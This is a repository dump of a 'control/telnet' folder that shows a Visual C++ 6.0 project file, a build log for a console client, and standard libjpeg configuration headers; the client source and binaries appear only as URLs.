https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/telnet/Debug/client.ilk
--------------------------------------------------------------------------------
/control/telnet/Debug/client.obj:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/telnet/Debug/client.obj
--------------------------------------------------------------------------------
/control/telnet/Debug/client.pch:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/telnet/Debug/client.pch
--------------------------------------------------------------------------------
/control/telnet/Debug/client.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/telnet/Debug/client.pdb
--------------------------------------------------------------------------------
/control/telnet/Debug/vc60.idb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/telnet/Debug/vc60.idb
--------------------------------------------------------------------------------
/control/telnet/Debug/vc60.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/telnet/Debug/vc60.pdb
--------------------------------------------------------------------------------
/control/telnet/client.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/telnet/client.cpp
--------------------------------------------------------------------------------
/control/telnet/client.dsp:
--------------------------------------------------------------------------------
1 | # Microsoft Developer Studio Project File - Name="client" - Package Owner=<4>
2 | # Microsoft Developer Studio Generated Build File, Format Version 6.00
3 | # ** DO NOT EDIT **
4 |
5 | # TARGTYPE "Win32 (x86) Console Application" 0x0103
6 |
7 | CFG=client - Win32 Debug
8 | !MESSAGE This is not a valid makefile. To build this project using NMAKE,
9 | !MESSAGE use the Export Makefile command and run
10 | !MESSAGE
11 | !MESSAGE NMAKE /f "client.mak".
12 | !MESSAGE
13 | !MESSAGE You can specify a configuration when running NMAKE
14 | !MESSAGE by defining the macro CFG on the command line. For example:
15 | !MESSAGE
16 | !MESSAGE NMAKE /f "client.mak" CFG="client - Win32 Debug"
17 | !MESSAGE
18 | !MESSAGE Possible choices for configuration are:
19 | !MESSAGE
20 | !MESSAGE "client - Win32 Release" (based on "Win32 (x86) Console Application")
21 | !MESSAGE "client - Win32 Debug" (based on "Win32 (x86) Console Application")
22 | !MESSAGE
23 |
24 | # Begin Project
25 | # PROP AllowPerConfigDependencies 0
26 | # PROP Scc_ProjName ""
27 | # PROP Scc_LocalPath ""
28 | CPP=cl.exe
29 | RSC=rc.exe
30 |
31 | !IF "$(CFG)" == "client - Win32 Release"
32 |
33 | # PROP BASE Use_MFC 0
34 | # PROP BASE Use_Debug_Libraries 0
35 | # PROP BASE Output_Dir "Release"
36 | # PROP BASE Intermediate_Dir "Release"
37 | # PROP BASE Target_Dir ""
38 | # PROP Use_MFC 0
39 | # PROP Use_Debug_Libraries 0
40 | # PROP Output_Dir "Release"
41 | # PROP Intermediate_Dir "Release"
42 | # PROP Target_Dir ""
43 | # ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c
44 | # ADD CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c
45 | # ADD BASE RSC /l 0x804 /d "NDEBUG"
46 | # ADD RSC /l 0x804 /d "NDEBUG"
47 | BSC32=bscmake.exe
48 | # ADD BASE BSC32 /nologo
49 | # ADD BSC32 /nologo
50 | LINK32=link.exe
51 | # ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386
52 | # ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386
53 |
54 | !ELSEIF "$(CFG)" == "client - Win32 Debug"
55 |
56 | # PROP BASE Use_MFC 0
57 | # PROP BASE Use_Debug_Libraries 1
58 | # PROP BASE Output_Dir "Debug"
59 | # PROP BASE Intermediate_Dir "Debug"
60 | # PROP BASE Target_Dir ""
61 | # PROP Use_MFC 0
62 | # PROP Use_Debug_Libraries 1
63 | # PROP Output_Dir "Debug"
64 | # PROP Intermediate_Dir "Debug"
65 | # PROP Target_Dir ""
66 | # ADD BASE CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c
67 | # ADD CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c
68 | # ADD BASE RSC /l 0x804 /d "_DEBUG"
69 | # ADD RSC /l 0x804 /d "_DEBUG"
70 | BSC32=bscmake.exe
71 | # ADD BASE BSC32 /nologo
72 | # ADD BSC32 /nologo
73 | LINK32=link.exe
74 | # ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept
75 | # ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept
76 |
77 | !ENDIF
78 |
79 | # Begin Target
80 |
81 | # Name "client - Win32 Release"
82 | # Name "client - Win32 Debug"
83 | # Begin Source File
84 |
85 | SOURCE=.\client.cpp
86 | # End Source File
87 | # End Target
88 | # End Project
89 |
--------------------------------------------------------------------------------
/control/telnet/client.dsw:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/telnet/client.dsw
--------------------------------------------------------------------------------
/control/telnet/client.ncb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/telnet/client.ncb
--------------------------------------------------------------------------------
/control/telnet/client.opt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/telnet/client.opt
--------------------------------------------------------------------------------
/control/telnet/client.plg:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Build Log
5 |
6 | --------------------Configuration: client - Win32 Debug--------------------
7 |
8 | Command Lines
9 | Creating temporary file "C:\Users\ADMINI~1\AppData\Local\Temp\RSP732D.tmp" with contents
10 | [
11 | /nologo /MLd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /Fp"Debug/client.pch" /YX /Fo"Debug/" /Fd"Debug/" /FD /GZ /c
12 | "F:\GitHub\control\telnet\client.cpp"
13 | ]
14 | Creating command line "cl.exe @C:\Users\ADMINI~1\AppData\Local\Temp\RSP732D.tmp"
15 | Creating temporary file "C:\Users\ADMINI~1\AppData\Local\Temp\RSP732E.tmp" with contents
16 | [
17 | kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /incremental:yes /pdb:"Debug/client.pdb" /debug /machine:I386 /out:"Debug/client.exe" /pdbtype:sept
18 | .\Debug\client.obj
19 | ]
20 | Creating command line "link.exe @C:\Users\ADMINI~1\AppData\Local\Temp\RSP732E.tmp"
21 | Output Window
22 | Compiling...
23 | client.cpp
24 | F:\GitHub\control\telnet\client.cpp(142) : warning C4101: 'rq' : unreferenced local variable
25 | Linking...
26 | LINK : warning LNK4098: defaultlib "LIBCMT" conflicts with use of other libs; use /NODEFAULTLIB:library
27 |
28 |
29 |
30 | Results
31 | client.exe - 0 error(s), 0 warning(s)
32 |
33 |
34 |
35 |
--------------------------------------------------------------------------------
/control/telnet/jconfig.h:
--------------------------------------------------------------------------------
1 | /* jconfig.vc --- jconfig.h for Microsoft Visual C++ on Windows 95 or NT. */
2 | /* see jconfig.txt for explanations */
3 |
4 | #define HAVE_PROTOTYPES
5 | #define HAVE_UNSIGNED_CHAR
6 | #define HAVE_UNSIGNED_SHORT
7 | /* #define void char */
8 | /* #define const */
9 | #undef CHAR_IS_UNSIGNED
10 | #define HAVE_STDDEF_H
11 | #define HAVE_STDLIB_H
12 | #undef NEED_BSD_STRINGS
13 | #undef NEED_SYS_TYPES_H
14 | #undef NEED_FAR_POINTERS /* we presume a 32-bit flat memory model */
15 | #undef NEED_SHORT_EXTERNAL_NAMES
16 | #undef INCOMPLETE_TYPES_BROKEN
17 |
18 | /* Define "boolean" as unsigned char, not enum, per Windows custom */
19 | #ifndef __RPCNDR_H__ /* don't conflict if rpcndr.h already read */
20 | typedef unsigned char boolean;
21 | #endif
22 | #define HAVE_BOOLEAN /* prevent jmorecfg.h from redefining it */
23 |
24 |
25 | #ifdef JPEG_INTERNALS
26 |
27 | #undef RIGHT_SHIFT_IS_UNSIGNED
28 |
29 | #endif /* JPEG_INTERNALS */
30 |
31 | #ifdef JPEG_CJPEG_DJPEG
32 |
33 | #define BMP_SUPPORTED /* BMP image file format */
34 | #define GIF_SUPPORTED /* GIF image file format */
35 | #define PPM_SUPPORTED /* PBMPLUS PPM/PGM image file format */
36 | #undef RLE_SUPPORTED /* Utah RLE image file format */
37 | #define TARGA_SUPPORTED /* Targa image file format */
38 |
39 | #define TWO_FILE_COMMANDLINE /* optional */
40 | #define USE_SETMODE /* Microsoft has setmode() */
41 | #undef NEED_SIGNAL_CATCHER
42 | #undef DONT_USE_B_MODE
43 | #undef PROGRESS_REPORT /* optional */
44 |
45 | #endif /* JPEG_CJPEG_DJPEG */
46 |
--------------------------------------------------------------------------------
/control/telnet/jmorecfg.h:
--------------------------------------------------------------------------------
1 | /*
2 | * jmorecfg.h
3 | *
4 | * Copyright (C) 1991-1997, Thomas G. Lane.
5 | * Modified 1997-2012 by Guido Vollbeding.
6 | * This file is part of the Independent JPEG Group's software.
7 | * For conditions of distribution and use, see the accompanying README file.
8 | *
9 | * This file contains additional configuration options that customize the
10 | * JPEG software for special applications or support machine-dependent
11 | * optimizations. Most users will not need to touch this file.
12 | */
13 |
14 |
15 | /*
16 | * Define BITS_IN_JSAMPLE as either
17 | * 8 for 8-bit sample values (the usual setting)
18 | * 12 for 12-bit sample values
19 | * Only 8 and 12 are legal data precisions for lossy JPEG according to the
20 | * JPEG standard, and the IJG code does not support anything else!
21 | * We do not support run-time selection of data precision, sorry.
22 | */
23 |
24 | #define BITS_IN_JSAMPLE 8 /* use 8 or 12 */
25 |
26 |
27 | /*
28 | * Maximum number of components (color channels) allowed in JPEG image.
29 | * To meet the letter of the JPEG spec, set this to 255. However, darn
30 | * few applications need more than 4 channels (maybe 5 for CMYK + alpha
31 | * mask). We recommend 10 as a reasonable compromise; use 4 if you are
32 | * really short on memory. (Each allowed component costs a hundred or so
33 | * bytes of storage, whether actually used in an image or not.)
34 | */
35 |
36 | #define MAX_COMPONENTS 10 /* maximum number of image components */
37 |
38 |
39 | /*
40 | * Basic data types.
41 | * You may need to change these if you have a machine with unusual data
42 | * type sizes; for example, "char" not 8 bits, "short" not 16 bits,
43 | * or "long" not 32 bits. We don't care whether "int" is 16 or 32 bits,
44 | * but it had better be at least 16.
45 | */
46 |
47 | /* Representation of a single sample (pixel element value).
48 | * We frequently allocate large arrays of these, so it's important to keep
49 | * them small. But if you have memory to burn and access to char or short
50 | * arrays is very slow on your hardware, you might want to change these.
51 | */
52 |
53 | #if BITS_IN_JSAMPLE == 8
54 | /* JSAMPLE should be the smallest type that will hold the values 0..255.
55 | * You can use a signed char by having GETJSAMPLE mask it with 0xFF.
56 | */
57 |
58 | #ifdef HAVE_UNSIGNED_CHAR
59 |
60 | typedef unsigned char JSAMPLE;
61 | #define GETJSAMPLE(value) ((int) (value))
62 |
63 | #else /* not HAVE_UNSIGNED_CHAR */
64 |
65 | typedef char JSAMPLE;
66 | #ifdef CHAR_IS_UNSIGNED
67 | #define GETJSAMPLE(value) ((int) (value))
68 | #else
69 | #define GETJSAMPLE(value) ((int) (value) & 0xFF)
70 | #endif /* CHAR_IS_UNSIGNED */
71 |
72 | #endif /* HAVE_UNSIGNED_CHAR */
73 |
74 | #define MAXJSAMPLE 255
75 | #define CENTERJSAMPLE 128
76 |
77 | #endif /* BITS_IN_JSAMPLE == 8 */
78 |
79 |
80 | #if BITS_IN_JSAMPLE == 12
81 | /* JSAMPLE should be the smallest type that will hold the values 0..4095.
82 | * On nearly all machines "short" will do nicely.
83 | */
84 |
85 | typedef short JSAMPLE;
86 | #define GETJSAMPLE(value) ((int) (value))
87 |
88 | #define MAXJSAMPLE 4095
89 | #define CENTERJSAMPLE 2048
90 |
91 | #endif /* BITS_IN_JSAMPLE == 12 */
92 |
93 |
94 | /* Representation of a DCT frequency coefficient.
95 | * This should be a signed value of at least 16 bits; "short" is usually OK.
96 | * Again, we allocate large arrays of these, but you can change to int
97 | * if you have memory to burn and "short" is really slow.
98 | */
99 |
100 | typedef short JCOEF;
101 |
102 |
103 | /* Compressed datastreams are represented as arrays of JOCTET.
104 | * These must be EXACTLY 8 bits wide, at least once they are written to
105 | * external storage. Note that when using the stdio data source/destination
106 | * managers, this is also the data type passed to fread/fwrite.
107 | */
108 |
109 | #ifdef HAVE_UNSIGNED_CHAR
110 |
111 | typedef unsigned char JOCTET;
112 | #define GETJOCTET(value) (value)
113 |
114 | #else /* not HAVE_UNSIGNED_CHAR */
115 |
116 | typedef char JOCTET;
117 | #ifdef CHAR_IS_UNSIGNED
118 | #define GETJOCTET(value) (value)
119 | #else
120 | #define GETJOCTET(value) ((value) & 0xFF)
121 | #endif /* CHAR_IS_UNSIGNED */
122 |
123 | #endif /* HAVE_UNSIGNED_CHAR */
124 |
125 |
126 | /* These typedefs are used for various table entries and so forth.
127 | * They must be at least as wide as specified; but making them too big
128 | * won't cost a huge amount of memory, so we don't provide special
129 | * extraction code like we did for JSAMPLE. (In other words, these
130 | * typedefs live at a different point on the speed/space tradeoff curve.)
131 | */
132 |
133 | /* UINT8 must hold at least the values 0..255. */
134 |
135 | #ifdef HAVE_UNSIGNED_CHAR
136 | typedef unsigned char UINT8;
137 | #else /* not HAVE_UNSIGNED_CHAR */
138 | #ifdef CHAR_IS_UNSIGNED
139 | typedef char UINT8;
140 | #else /* not CHAR_IS_UNSIGNED */
141 | typedef short UINT8;
142 | #endif /* CHAR_IS_UNSIGNED */
143 | #endif /* HAVE_UNSIGNED_CHAR */
144 |
145 | /* UINT16 must hold at least the values 0..65535. */
146 |
147 | #ifdef HAVE_UNSIGNED_SHORT
148 | typedef unsigned short UINT16;
149 | #else /* not HAVE_UNSIGNED_SHORT */
150 | typedef unsigned int UINT16;
151 | #endif /* HAVE_UNSIGNED_SHORT */
152 |
153 | /* INT16 must hold at least the values -32768..32767. */
154 |
155 | #ifndef XMD_H /* X11/xmd.h correctly defines INT16 */
156 | typedef short INT16;
157 | #endif
158 |
159 | /* INT32 must hold at least signed 32-bit values. */
160 |
161 | #ifndef XMD_H /* X11/xmd.h correctly defines INT32 */
162 | #ifndef _BASETSD_H_ /* Microsoft defines it in basetsd.h */
163 | #ifndef _BASETSD_H /* MinGW is slightly different */
164 | #ifndef QGLOBAL_H /* Qt defines it in qglobal.h */
165 | typedef long INT32;
166 | #endif
167 | #endif
168 | #endif
169 | #endif
170 |
171 | /* Datatype used for image dimensions. The JPEG standard only supports
172 | * images up to 64K*64K due to 16-bit fields in SOF markers. Therefore
173 | * "unsigned int" is sufficient on all machines. However, if you need to
174 | * handle larger images and you don't mind deviating from the spec, you
175 | * can change this datatype.
176 | */
177 |
178 | typedef unsigned int JDIMENSION;
179 |
180 | #define JPEG_MAX_DIMENSION 65500L /* a tad under 64K to prevent overflows */
181 |
182 |
183 | /* These macros are used in all function definitions and extern declarations.
184 | * You could modify them if you need to change function linkage conventions;
185 | * in particular, you'll need to do that to make the library a Windows DLL.
186 | * Another application is to make all functions global for use with debuggers
187 | * or code profilers that require it.
188 | */
189 |
190 | /* a function called through method pointers: */
191 | #define METHODDEF(type) static type
192 | /* a function used only in its module: */
193 | #define LOCAL(type) static type
194 | /* a function referenced thru EXTERNs: */
195 | #define GLOBAL(type) type
196 | /* a reference to a GLOBAL function: */
197 | #define EXTERN(type) extern type
198 |
199 |
200 | /* This macro is used to declare a "method", that is, a function pointer.
201 | * We want to supply prototype parameters if the compiler can cope.
202 | * Note that the arglist parameter must be parenthesized!
203 | * Again, you can customize this if you need special linkage keywords.
204 | */
205 |
206 | #ifdef HAVE_PROTOTYPES
207 | #define JMETHOD(type,methodname,arglist) type (*methodname) arglist
208 | #else
209 | #define JMETHOD(type,methodname,arglist) type (*methodname) ()
210 | #endif
211 |
212 |
213 | /* The noreturn type identifier is used to declare functions
214 | * which cannot return.
215 | * Compilers can thus create more optimized code and perform
216 | * better checks for warnings and errors.
217 | * Static analyzer tools can make improved inferences about
218 | * execution paths and are prevented from giving false alerts.
219 | *
220 | * Unfortunately, the proposed specifications of corresponding
221 | * extensions in the Dec 2011 ISO C standard revision (C11),
222 | * GCC, MSVC, etc. are not viable.
223 | * Thus we introduce a user defined type to declare noreturn
224 | * functions at least for clarity. A proper compiler would
225 | * have a suitable noreturn type to match in place of void.
226 | */
227 |
228 | #ifndef HAVE_NORETURN_T
229 | typedef void noreturn_t;
230 | #endif
231 |
232 |
233 | /* Here is the pseudo-keyword for declaring pointers that must be "far"
234 | * on 80x86 machines. Most of the specialized coding for 80x86 is handled
235 | * by just saying "FAR *" where such a pointer is needed. In a few places
236 | * explicit coding is needed; see uses of the NEED_FAR_POINTERS symbol.
237 | */
238 |
239 | #ifndef FAR
240 | #ifdef NEED_FAR_POINTERS
241 | #define FAR far
242 | #else
243 | #define FAR
244 | #endif
245 | #endif
246 |
247 |
248 | /*
249 | * On a few systems, type boolean and/or its values FALSE, TRUE may appear
250 | * in standard header files. Or you may have conflicts with application-
251 | * specific header files that you want to include together with these files.
252 | * Defining HAVE_BOOLEAN before including jpeglib.h should make it work.
253 | */
254 |
255 | #ifdef HAVE_BOOLEAN
256 | #ifndef FALSE /* in case these macros already exist */
257 | #define FALSE 0 /* values of boolean */
258 | #endif
259 | #ifndef TRUE
260 | #define TRUE 1
261 | #endif
262 | #else
263 | typedef enum { FALSE = 0, TRUE = 1 } boolean;
264 | #endif
265 |
266 |
267 | /*
268 | * The remaining options affect code selection within the JPEG library,
269 | * but they don't need to be visible to most applications using the library.
270 | * To minimize application namespace pollution, the symbols won't be
271 | * defined unless JPEG_INTERNALS or JPEG_INTERNAL_OPTIONS has been defined.
272 | */
273 |
274 | #ifdef JPEG_INTERNALS
275 | #define JPEG_INTERNAL_OPTIONS
276 | #endif
277 |
278 | #ifdef JPEG_INTERNAL_OPTIONS
279 |
280 |
281 | /*
282 | * These defines indicate whether to include various optional functions.
283 | * Undefining some of these symbols will produce a smaller but less capable
284 | * library. Note that you can leave certain source files out of the
285 | * compilation/linking process if you've #undef'd the corresponding symbols.
286 | * (You may HAVE to do that if your compiler doesn't like null source files.)
287 | */
288 |
289 | /* Capability options common to encoder and decoder: */
290 |
291 | #define DCT_ISLOW_SUPPORTED /* slow but accurate integer algorithm */
292 | #define DCT_IFAST_SUPPORTED /* faster, less accurate integer method */
293 | #define DCT_FLOAT_SUPPORTED /* floating-point: accurate, fast on fast HW */
294 |
295 | /* Encoder capability options: */
296 |
297 | #define C_ARITH_CODING_SUPPORTED /* Arithmetic coding back end? */
298 | #define C_MULTISCAN_FILES_SUPPORTED /* Multiple-scan JPEG files? */
299 | #define C_PROGRESSIVE_SUPPORTED /* Progressive JPEG? (Requires MULTISCAN)*/
300 | #define DCT_SCALING_SUPPORTED /* Input rescaling via DCT? (Requires DCT_ISLOW)*/
301 | #define ENTROPY_OPT_SUPPORTED /* Optimization of entropy coding parms? */
302 | /* Note: if you selected 12-bit data precision, it is dangerous to turn off
303 | * ENTROPY_OPT_SUPPORTED. The standard Huffman tables are only good for 8-bit
304 | * precision, so jchuff.c normally uses entropy optimization to compute
305 | * usable tables for higher precision. If you don't want to do optimization,
306 | * you'll have to supply different default Huffman tables.
307 | * The exact same statements apply for progressive JPEG: the default tables
308 | * don't work for progressive mode. (This may get fixed, however.)
309 | */
310 | #define INPUT_SMOOTHING_SUPPORTED /* Input image smoothing option? */
311 |
312 | /* Decoder capability options: */
313 |
314 | #define D_ARITH_CODING_SUPPORTED /* Arithmetic coding back end? */
315 | #define D_MULTISCAN_FILES_SUPPORTED /* Multiple-scan JPEG files? */
316 | #define D_PROGRESSIVE_SUPPORTED /* Progressive JPEG? (Requires MULTISCAN)*/
317 | #define IDCT_SCALING_SUPPORTED /* Output rescaling via IDCT? */
318 | #define SAVE_MARKERS_SUPPORTED /* jpeg_save_markers() needed? */
319 | #define BLOCK_SMOOTHING_SUPPORTED /* Block smoothing? (Progressive only) */
320 | #undef UPSAMPLE_SCALING_SUPPORTED /* Output rescaling at upsample stage? */
321 | #define UPSAMPLE_MERGING_SUPPORTED /* Fast path for sloppy upsampling? */
322 | #define QUANT_1PASS_SUPPORTED /* 1-pass color quantization? */
323 | #define QUANT_2PASS_SUPPORTED /* 2-pass color quantization? */
324 |
325 | /* more capability options later, no doubt */
326 |
327 |
328 | /*
329 | * Ordering of RGB data in scanlines passed to or from the application.
330 | * If your application wants to deal with data in the order B,G,R, just
331 | * change these macros. You can also deal with formats such as R,G,B,X
332 | * (one extra byte per pixel) by changing RGB_PIXELSIZE. Note that changing
333 | * the offsets will also change the order in which colormap data is organized.
334 | * RESTRICTIONS:
335 | * 1. The sample applications cjpeg,djpeg do NOT support modified RGB formats.
336 | * 2. The color quantizer modules will not behave desirably if RGB_PIXELSIZE
337 | * is not 3 (they don't understand about dummy color components!). So you
338 | * can't use color quantization if you change that value.
339 | */
340 |
341 | #define RGB_RED 0 /* Offset of Red in an RGB scanline element */
342 | #define RGB_GREEN 1 /* Offset of Green */
343 | #define RGB_BLUE 2 /* Offset of Blue */
344 | #define RGB_PIXELSIZE 3 /* JSAMPLEs per RGB scanline element */
345 |
346 |
347 | /* Definitions for speed-related optimizations. */
348 |
349 |
350 | /* If your compiler supports inline functions, define INLINE
351 | * as the inline keyword; otherwise define it as empty.
352 | */
353 |
354 | #ifndef INLINE
355 | #ifdef __GNUC__ /* for instance, GNU C knows about inline */
356 | #define INLINE __inline__
357 | #endif
358 | #ifndef INLINE
359 | #define INLINE /* default is to define it as empty */
360 | #endif
361 | #endif
362 |
363 |
364 | /* On some machines (notably 68000 series) "int" is 32 bits, but multiplying
365 | * two 16-bit shorts is faster than multiplying two ints. Define MULTIPLIER
366 | * as short on such a machine. MULTIPLIER must be at least 16 bits wide.
367 | */
368 |
369 | #ifndef MULTIPLIER
370 | #define MULTIPLIER int /* type for fastest integer multiply */
371 | #endif
372 |
373 |
374 | /* FAST_FLOAT should be either float or double, whichever is done faster
375 | * by your compiler. (Note that this type is only used in the floating point
376 | * DCT routines, so it only matters if you've defined DCT_FLOAT_SUPPORTED.)
377 | * Typically, float is faster in ANSI C compilers, while double is faster in
378 | * pre-ANSI compilers (because they insist on converting to double anyway).
379 | * The code below therefore chooses float if we have ANSI-style prototypes.
380 | */
381 |
382 | #ifndef FAST_FLOAT
383 | #ifdef HAVE_PROTOTYPES
384 | #define FAST_FLOAT float
385 | #else
386 | #define FAST_FLOAT double
387 | #endif
388 | #endif
389 |
390 | #endif /* JPEG_INTERNAL_OPTIONS */
391 |
--------------------------------------------------------------------------------
/control/telnet/libjpeg/jconfig.h:
--------------------------------------------------------------------------------
1 | /* jconfig.vc --- jconfig.h for Microsoft Visual C++ on Windows 95 or NT. */
2 | /* see jconfig.txt for explanations */
3 |
4 | #define HAVE_PROTOTYPES
5 | #define HAVE_UNSIGNED_CHAR
6 | #define HAVE_UNSIGNED_SHORT
7 | /* #define void char */
8 | /* #define const */
9 | #undef CHAR_IS_UNSIGNED
10 | #define HAVE_STDDEF_H
11 | #define HAVE_STDLIB_H
12 | #undef NEED_BSD_STRINGS
13 | #undef NEED_SYS_TYPES_H
14 | #undef NEED_FAR_POINTERS /* we presume a 32-bit flat memory model */
15 | #undef NEED_SHORT_EXTERNAL_NAMES
16 | #undef INCOMPLETE_TYPES_BROKEN
17 |
18 | /* Define "boolean" as unsigned char, not enum, per Windows custom */
19 | #ifndef __RPCNDR_H__ /* don't conflict if rpcndr.h already read */
20 | typedef unsigned char boolean;
21 | #endif
22 | #define HAVE_BOOLEAN /* prevent jmorecfg.h from redefining it */
23 |
24 |
25 | #ifdef JPEG_INTERNALS
26 |
27 | #undef RIGHT_SHIFT_IS_UNSIGNED
28 |
29 | #endif /* JPEG_INTERNALS */
30 |
31 | #ifdef JPEG_CJPEG_DJPEG
32 |
33 | #define BMP_SUPPORTED /* BMP image file format */
34 | #define GIF_SUPPORTED /* GIF image file format */
35 | #define PPM_SUPPORTED /* PBMPLUS PPM/PGM image file format */
36 | #undef RLE_SUPPORTED /* Utah RLE image file format */
37 | #define TARGA_SUPPORTED /* Targa image file format */
38 |
39 | #define TWO_FILE_COMMANDLINE /* optional */
40 | #define USE_SETMODE /* Microsoft has setmode() */
41 | #undef NEED_SIGNAL_CATCHER
42 | #undef DONT_USE_B_MODE
43 | #undef PROGRESS_REPORT /* optional */
44 |
45 | #endif /* JPEG_CJPEG_DJPEG */
46 |
--------------------------------------------------------------------------------
/control/telnet/libjpeg/jmorecfg.h:
--------------------------------------------------------------------------------
1 | /*
2 | * jmorecfg.h
3 | *
4 | * Copyright (C) 1991-1997, Thomas G. Lane.
5 | * Modified 1997-2012 by Guido Vollbeding.
6 | * This file is part of the Independent JPEG Group's software.
7 | * For conditions of distribution and use, see the accompanying README file.
8 | *
9 | * This file contains additional configuration options that customize the
10 | * JPEG software for special applications or support machine-dependent
11 | * optimizations. Most users will not need to touch this file.
12 | */
13 |
14 |
15 | /*
16 | * Define BITS_IN_JSAMPLE as either
17 | * 8 for 8-bit sample values (the usual setting)
18 | * 12 for 12-bit sample values
19 | * Only 8 and 12 are legal data precisions for lossy JPEG according to the
20 | * JPEG standard, and the IJG code does not support anything else!
21 | * We do not support run-time selection of data precision, sorry.
22 | */
23 |
24 | #define BITS_IN_JSAMPLE 8 /* use 8 or 12 */
25 |
26 |
27 | /*
28 | * Maximum number of components (color channels) allowed in JPEG image.
29 | * To meet the letter of the JPEG spec, set this to 255. However, darn
30 | * few applications need more than 4 channels (maybe 5 for CMYK + alpha
31 | * mask). We recommend 10 as a reasonable compromise; use 4 if you are
32 | * really short on memory. (Each allowed component costs a hundred or so
33 | * bytes of storage, whether actually used in an image or not.)
34 | */
35 |
36 | #define MAX_COMPONENTS 10 /* maximum number of image components */
37 |
38 |
39 | /*
40 | * Basic data types.
41 | * You may need to change these if you have a machine with unusual data
42 | * type sizes; for example, "char" not 8 bits, "short" not 16 bits,
43 | * or "long" not 32 bits. We don't care whether "int" is 16 or 32 bits,
44 | * but it had better be at least 16.
45 | */
46 |
47 | /* Representation of a single sample (pixel element value).
48 | * We frequently allocate large arrays of these, so it's important to keep
49 | * them small. But if you have memory to burn and access to char or short
50 | * arrays is very slow on your hardware, you might want to change these.
51 | */
52 |
53 | #if BITS_IN_JSAMPLE == 8
54 | /* JSAMPLE should be the smallest type that will hold the values 0..255.
55 | * You can use a signed char by having GETJSAMPLE mask it with 0xFF.
56 | */
57 |
58 | #ifdef HAVE_UNSIGNED_CHAR
59 |
60 | typedef unsigned char JSAMPLE;
61 | #define GETJSAMPLE(value) ((int) (value))
62 |
63 | #else /* not HAVE_UNSIGNED_CHAR */
64 |
65 | typedef char JSAMPLE;
66 | #ifdef CHAR_IS_UNSIGNED
67 | #define GETJSAMPLE(value) ((int) (value))
68 | #else
69 | #define GETJSAMPLE(value) ((int) (value) & 0xFF)
70 | #endif /* CHAR_IS_UNSIGNED */
71 |
72 | #endif /* HAVE_UNSIGNED_CHAR */
73 |
74 | #define MAXJSAMPLE 255
75 | #define CENTERJSAMPLE 128
76 |
77 | #endif /* BITS_IN_JSAMPLE == 8 */
78 |
79 |
80 | #if BITS_IN_JSAMPLE == 12
81 | /* JSAMPLE should be the smallest type that will hold the values 0..4095.
82 | * On nearly all machines "short" will do nicely.
83 | */
84 |
85 | typedef short JSAMPLE;
86 | #define GETJSAMPLE(value) ((int) (value))
87 |
88 | #define MAXJSAMPLE 4095
89 | #define CENTERJSAMPLE 2048
90 |
91 | #endif /* BITS_IN_JSAMPLE == 12 */
92 |
93 |
94 | /* Representation of a DCT frequency coefficient.
95 | * This should be a signed value of at least 16 bits; "short" is usually OK.
96 | * Again, we allocate large arrays of these, but you can change to int
97 | * if you have memory to burn and "short" is really slow.
98 | */
99 |
100 | typedef short JCOEF;
101 |
102 |
103 | /* Compressed datastreams are represented as arrays of JOCTET.
104 | * These must be EXACTLY 8 bits wide, at least once they are written to
105 | * external storage. Note that when using the stdio data source/destination
106 | * managers, this is also the data type passed to fread/fwrite.
107 | */
108 |
109 | #ifdef HAVE_UNSIGNED_CHAR
110 |
111 | typedef unsigned char JOCTET;
